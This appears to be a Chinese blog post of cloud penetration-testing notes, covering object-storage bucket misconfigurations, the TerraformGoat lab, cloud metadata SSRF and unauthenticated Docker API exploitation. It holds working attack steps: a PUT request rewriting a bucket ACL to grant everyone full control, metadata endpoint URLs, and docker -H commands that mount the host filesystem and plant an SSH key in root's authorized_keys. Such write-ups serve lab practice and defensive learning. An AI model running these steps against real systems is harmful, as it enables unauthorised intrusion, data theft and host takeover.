Featured image of post 云安全渗透测试

云安全渗透测试

云安全渗透测试

参考资料:

华为云安全Check List表单.xlsx

华为云安全加固指导书.docx

T Wiki

红队视角下的公有云基础组件安全

1.存储桶常见漏洞

https://github.com/libaibaia/BucketVulTools Burpsuite存储桶配置不当漏洞检测插件

1
2
3
4
5
6
腾讯COShttps://cloud.tencent.com/product/cos
阿里OSShttps://www.aliyun.com/product/oss
百度BOShttps://cloud.baidu.com/product/bos.html
华为OBShttps://www.huaweicloud.com/product/obs.html
七牛Kodohttps://www.qiniu.com/products/kodo
又拍云USShttps://www.upyun.com/products/file-storage

https://github.com/HXSecurity/TerraformGoat

【安全科普】OSS存储桶漏洞总结

阿里云 OSS对象存储攻防

【云安全】云服务-对象存储-安全问题分析_阿里云oss公共读 安全吗-CSDN博客

1.1.Bucket权限配置错误-公开访问

在创建Bucket桶时,默认是private的权限,如果在错误的配置下,给了listobject权限,就会导致可遍历存储桶,但是现在默认给你开通了阻止公共访问设置(可在 Bucket 创建后,在 OSS 控制台或通过接口来关闭阻止公共访问功能。)

2、如果想列出Object对象,只需要在Bucket授权策略中设置ListObject即可

第二种情况,是开启了“写”的权限。默认情况未开启,PUT操作返回403

开启后,PUT返回200,成功上传文件

使用ossx工具可以遍历下载全部文件,工具地址https://github.com/source-xu/oss-x

1.2.存储桶接管(阿里云目前已修复)

利用条件相对苛刻一些,需要域名曾解析并绑定了一个存储桶也就是网站托管,存储桶被删除,但域名解析的 CNAME未删除,此时访问时会显示NoSuchBucket。

1.3.Bucket桶爆破

当不知道 Bucket 名称的时候,可以通过爆破获得 Bucket 名称,这有些类似于目录扫描,只不过目录一般通过状态码判断,这里通过页面的内容判断。

NoSuchBucket:存储桶不存在。

InvalidBucketName:存储桶的名称不符合规范,属于无效的存储桶名称。

AccessDenied:存在,但无权限访问。

成功访问。

1.4.任意文件上传与任意文件覆盖

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
PUT /a.txt HTTP/1.1
Host: lsec.oss-cn-wuhan-lr.aliyuncs.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Length: 9

123111134

1.5.存储桶列桶

1
https://xxx-cos-xxxx.cos.ap-guangzhou.myqcloud.com/?uploads      列出所有存储桶

1.5.1.配置问题导致访问直接列桶

1.5.2.Policy注入导致列桶

1.5.3.预签名列桶

1
2
3
4
POST /api/xxx/xxx/cos


{url:http://xxxxx-aliyuncs.com/}         //将url改成存储桶根目录进行预签名

1.6.腾讯云 COS Bucket ACL 可写漏洞

https://github.com/HXSecurity/TerraformGoat/blob/main/tencentcloud/cos/bucket_acl_writable/README_CN.md

1.尝试遍历 Object,发现访问被拒绝

2.尝试读取 Bucket 的 ACL 策略,发现可以读取

1
https://houxian-7hg0v-1316547049.cos.ap-beijing.myqcloud.com/?acl

3.尝试使用 PUT 方法修改 Bucket 的 ACL 策略

1
2
3
4
5
6
<Grant>
  <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
    <URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
  </Grantee>
  <Permission>FULL_CONTROL</Permission>
</Grant>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
PUT /?acl HTTP/1.1
Host: houxian-7hg0v-1316547049.cos.ap-beijing.myqcloud.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Length: 1224

<AccessControlPolicy>
	<Owner>
		<ID>qcs::cam::uin/100029253378:uin/100029253378</ID>
		<DisplayName>qcs::cam::uin/100029253378:uin/100029253378</DisplayName>
	</Owner>
	<AccessControlList>
		<Grant>
			<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
				<ID>qcs::cam::uin/100029253378:uin/100029253378</ID>
				<DisplayName>qcs::cam::uin/100029253378:uin/100029253378</DisplayName>
			</Grantee>
			<Permission>FULL_CONTROL</Permission>
		</Grant>
		<Grant>
			<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
				<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
			</Grantee>
			<Permission>WRITE_ACP</Permission>
		</Grant>
		<Grant>
			<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
				<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
			</Grantee>
			<Permission>READ_ACP</Permission>
		</Grant>
		<Grant>
		  <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
		    <URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
		  </Grantee>
		  <Permission>FULL_CONTROL</Permission>
		</Grant>
	</AccessControlList>
</AccessControlPolicy>

4.再次尝试遍历 Object,发现已经可以遍历到了,说明刚才上传的 ACL 策略生效了,在返回的信息中可以看到 flag

2.TerraformGoat云场景漏洞靶场搭建

云场景漏洞靶场:TerraformGoat,支持6家云厂商

TerraformGoat 是一个支持多云的云场景漏洞靶场搭建工具,目前支持阿里云、腾讯云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure 六个云厂商的云场景漏洞搭建。

2.1.安装docker

一篇文章完成Centos7安装docker-CSDN博客

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#卸载 Docker引擎/CLI/Containerd软件包
yum remove docker-ce docker-ce-cli containerd.io      
#查找出docker的相关文件夹
find -name 'docker'
#rm -rf 删除这些文件夹
rm -rf /var/lib/docker
rm -rf /var/lib/containerd 

#安装所需的软件包yum-utils 提供了 yum-config-manager 并且 device mapper 存储驱动程序需要 device-mapper-persistent-data  lvm2
yum install -y yum-utils device-mapper-persistent-data lvm2

#设置仓库为阿里源
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
或者
wget http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
cp docker-ce.repo /etc/yum.repos.d

#更新源
yum clean all && yum mackecache


#默认安装
yum install docker-ce docker-ce-cli containerd.io


#启动和查看
systemctl start docker
systemctl status docker
docker --version
docker info

2.2.启动项目

1
2
3
docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker run -itd --name terraformgoat_tencentcloud_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker exec -it terraformgoat_tencentcloud_0.0.7 /bin/bash

2.3.开启靶机

Terraform 介绍与安装 | T Wiki

1
2
3
4
5
6
7
#例如在腾讯云存储桶Cos上开启未授权上传任意文件靶机
cd cos/unrestricted_file_upload/
#编辑配置文件将AK/SK密钥填入其中
cat terraform.tfvars           //        tencent configure

terraform init          //初始化靶场
terraform apply         //运行靶场,会创建一个全新的bucket

2.4.复现漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
PUT /test.txt HTTP/1.1
Host: hxlab-1xmqj-1316547049.cos.ap-beijing.myqcloud.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Length: 9

111222333

2.5.关闭靶机

1
2
terraform destroy            //销毁环境
注意现在腾讯云存储桶COs中如果存在文件不能直接销毁需要先清空里面文件才能销毁成功

3.弹性计算服务漏洞

云安全(三):弹性计算

3.1.腾讯云 CVM SSRF漏洞

1
2
terraform init          //初始化靶场
terraform apply         //运行靶场,会创建一个全新的bucket

运行后会开启一个靶场,这个需要自己购买服务器,需要钱

输入网址发送请求服务器会发送请求到Dnslog地址

先判断ip是不是云服务器ip

1
读取元数据 http://metadata.tencentyun.com/latest/meta-data/

1
读取用户数据http://metadata.tencentyun.com/latest/user-data/

查看flag

4.K8S常见漏洞

【云原生安全】K8s安全漏洞复现

5.Docker常见漏洞

手把手搭建 k8s docker 漏洞环境

【云安全】云原生-Docker(五)容器逃逸之漏洞利用

5.1.Docker未授权漏洞

『漏洞复现』Docker 未授权漏洞

1
搜索语法port:"2375" AND service: "docker"

5.1.1.查看版本接口

1
http://ip:2375/version

5.1.2.查看info目录

1
http://ip:2375/info

5.1.3.查看image镜像

1
http://ip:2375/images/json

5.1.4.Docker连接未授权端口

1
docker -H tcp://ip:2375 ps -a

1
2
3
docker -H tcp://ip:2375 images       查看镜像
docker -H tcp://1.1.1.1 stop d192a8dee160   #停止一个已经开启的容器
docker -H 1.1.1.1 exec -it 3d1c2eaa9df8 /bin/bash  #连接一个容器

5.1.5.写公钥GetShell

1
ssh-keygen -t rsa           #生成公钥

1
cat /root/.ssh/id_rsa.pub     #查看生成的公钥

1
2
3
4
5
6
7
#挂载宿主机的/mnt目录写入公钥
docker -H tcp://1.1.1.1 run -it -v /:/mnt --entrypoint /bin/bash [images name]

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2oUPAuPkNYqvVTALPCfUDxX5yEgBsaV1s+A3Jyk83CJxWwS7e327gvtIPO1VGY4QHpZMLAoi5SdO4Ru9Wm8E2ZojVTyb5pHTDZf1XizXXCakO39u5mT0ET/rwga5NVllp2ApdL4sL9wBihvHi1dlDTBUQvArpRPgKSnrBSPSADIBc4o6GSEBU6EUJMV5rtqNexQq53636ZiLjpLLEjJBsYXDpRU46mxQJjm/LqCENHdqVsvgoGXBqcDWjGqv59yn2KqgKKPs= root@admin" > /mnt/root/.ssh/authorized_keys

#连接目标主机获取shell
ssh root@1.1.1.1 -i id_rsa

5.2.Docker容器逃逸漏洞

Docker API 未授权访问漏洞_dockerapi未授权访问漏洞-CSDN博客

By Lsec
最后更新于 Sep 17, 2025 13:53 +0800
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计
¹鵵ҳ